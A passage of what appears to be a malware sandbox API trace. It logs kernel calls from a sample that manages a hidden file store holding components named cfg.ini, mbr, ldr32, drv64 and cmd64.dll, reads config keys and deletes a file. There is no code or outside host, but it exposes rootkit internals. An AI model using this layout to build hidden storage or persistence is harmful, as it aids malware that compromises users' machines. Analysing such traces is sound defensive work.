Priority=0x10) returned 0xfffff88002cc6000 [0119.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.276] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.276] IdePortDispatch () returned 0x103 [0119.276] KeWaitForMutexObject () returned 0x0 [0119.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.276] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.276] IdePortDispatch () returned 0x103 [0119.276] KeWaitForMutexObject () returned 0x0 [0119.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.276] KeLeaveCriticalRegion () [0119.276] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.277] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.277] KeEnterCriticalRegion () [0119.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.277] KeLeaveCriticalRegion () [0119.277] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.277] KeEnterCriticalRegion () [0119.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.277] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.277] KeLeaveCriticalRegion () [0119.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.277] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.277] KeEnterCriticalRegion () [0119.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.277] ExFreePoolWithTag (P=0xfffffa8003bdb6e0, Tag=0x0) [0119.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.277] KeLeaveCriticalRegion () [0119.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.277] ReleaseMutex (hMutex=0xf0) returned 1 [0119.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.277] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.277] KeEnterCriticalRegion () [0119.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.277] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.277] IdePortDispatch () returned 0x103 [0119.277] KeWaitForMutexObject () returned 0x0 [0119.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.278] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.278] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.278] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.278] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.278] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.278] KeLeaveCriticalRegion () [0119.278] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.278] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.278] KeEnterCriticalRegion () [0119.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.278] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.278] KeLeaveCriticalRegion () [0119.278] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.278] KeEnterCriticalRegion () [0119.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.278] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.278] IdePortDispatch () returned 0x103 [0119.278] KeWaitForMutexObject () returned 0x0 [0119.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.278] KeLeaveCriticalRegion () [0119.278] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.278] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.278] KeEnterCriticalRegion () [0119.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc7000 [0119.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.278] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.278] IdePortDispatch () returned 0x103 [0119.279] KeWaitForMutexObject () returned 0x0 [0119.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.279] IdePortDispatch () returned 0x103 [0119.279] KeWaitForMutexObject () returned 0x0 [0119.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.279] KeLeaveCriticalRegion () [0119.279] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.279] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.279] KeEnterCriticalRegion () [0119.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.279] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.279] KeLeaveCriticalRegion () [0119.280] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.280] KeEnterCriticalRegion () [0119.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.280] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.280] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.280] KeLeaveCriticalRegion () [0119.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.280] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.280] KeEnterCriticalRegion () [0119.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.280] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.280] KeLeaveCriticalRegion () [0119.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.280] ReleaseMutex (hMutex=0xf0) returned 1 [0119.280] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.280] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.280] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.280] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.280] KeEnterCriticalRegion () [0119.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.280] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.280] IdePortDispatch () returned 0x103 [0119.280] KeWaitForMutexObject () returned 0x0 [0119.280] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.280] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.280] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.280] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.280] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.280] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.280] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.280] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.280] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.280] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.281] KeLeaveCriticalRegion () [0119.281] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.281] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.281] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.281] KeEnterCriticalRegion () [0119.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.281] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.281] IdePortDispatch () returned 0x103 [0119.281] KeWaitForMutexObject () returned 0x0 [0119.281] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.281] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.281] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.281] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.281] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.281] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.281] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.281] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.281] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.281] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.281] KeLeaveCriticalRegion () [0119.281] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.281] ReleaseMutex (hMutex=0x100) returned 1 [0119.281] Sleep (dwMilliseconds=0x2bf20) [0119.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a4cca70, dwHighDateTime=0x1d24fa4)) [0119.288] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.288] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.288] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.288] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.288] KeEnterCriticalRegion () [0119.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.288] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.288] IdePortDispatch () returned 0x103 [0119.288] KeWaitForMutexObject () returned 0x0 [0119.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.288] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.288] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.288] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.288] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.288] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.288] KeLeaveCriticalRegion () [0119.288] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.288] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.288] KeEnterCriticalRegion () [0119.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.288] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.288] KeLeaveCriticalRegion () [0119.288] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.289] KeEnterCriticalRegion () [0119.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.289] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.289] IdePortDispatch () returned 0x103 [0119.289] KeWaitForMutexObject () returned 0x0 [0119.289] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.289] KeLeaveCriticalRegion () [0119.289] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.289] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.289] KeEnterCriticalRegion () [0119.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.289] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cca000 [0119.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.289] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.289] IdePortDispatch () returned 0x103 [0119.289] KeWaitForMutexObject () returned 0x0 [0119.289] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.289] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.289] IdePortDispatch () returned 0x103 [0119.290] KeWaitForMutexObject () returned 0x0 [0119.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.290] KeLeaveCriticalRegion () [0119.290] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.290] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.290] KeEnterCriticalRegion () [0119.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.290] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.290] KeLeaveCriticalRegion () [0119.290] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.290] KeEnterCriticalRegion () [0119.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.290] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.290] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.290] KeLeaveCriticalRegion () [0119.290] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.290] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.290] KeEnterCriticalRegion () [0119.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.290] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.290] KeLeaveCriticalRegion () [0119.290] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.291] ReleaseMutex (hMutex=0xf0) returned 1 [0119.291] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.291] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.291] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.291] KeEnterCriticalRegion () [0119.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.291] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.291] IdePortDispatch () 